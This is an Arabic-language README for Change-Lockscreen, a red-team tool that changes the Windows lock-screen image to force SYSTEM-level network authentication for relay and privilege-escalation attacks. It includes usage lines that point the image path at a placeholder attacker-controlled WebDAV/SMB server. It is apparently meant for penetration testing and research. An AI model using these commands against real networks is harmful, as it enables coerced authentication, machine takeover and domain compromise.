Change-Lockscreen

Change-Lockscreen هي أداة لتحفيز عمليات مصادقة الشبكة بصلاحيات SYSTEM عن طريق تغيير صورة شاشة القفل في ويندوز من سطر الأوامر، لتنفيذ هجمات تصعيد الامتيازات مثل الهجوم الموضح في المنشور المرتبط أدناه:

• https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

الميزات

بشكل افتراضي، تتضمن ويندوز 10 ميزة تُسمى Windows Spotlight، إذ تقوم بتنزيل صور شاشة القفل وعرضها تلقائيًا.

• عندما تكون هذه الميزة مفعّلة، سيقوم Change-Lockscreen بتعطيلها وتثبيت الصورة المحددة في الوسائط
• وإلا، إذا كان لدى المستخدم صورة شاشة قفل مخصصة، فسيتولى Change-Lockscreen إنشاء نسخة احتياطية منها، وتحفيز مصادقة الشبكة، ثم إعادة تعيينها مرة أخرى

ملاحظة: بينما يعمل إصدار PowerShell من الأداة بشكل موثوق، فإن إصدار C# يفشل أحيانًا في استعادة الصورة الأصلية.

الاستخدام

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

المؤلفون

• Simone Salucci
• Daniel López Jiménez

الشكر والتقدير

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/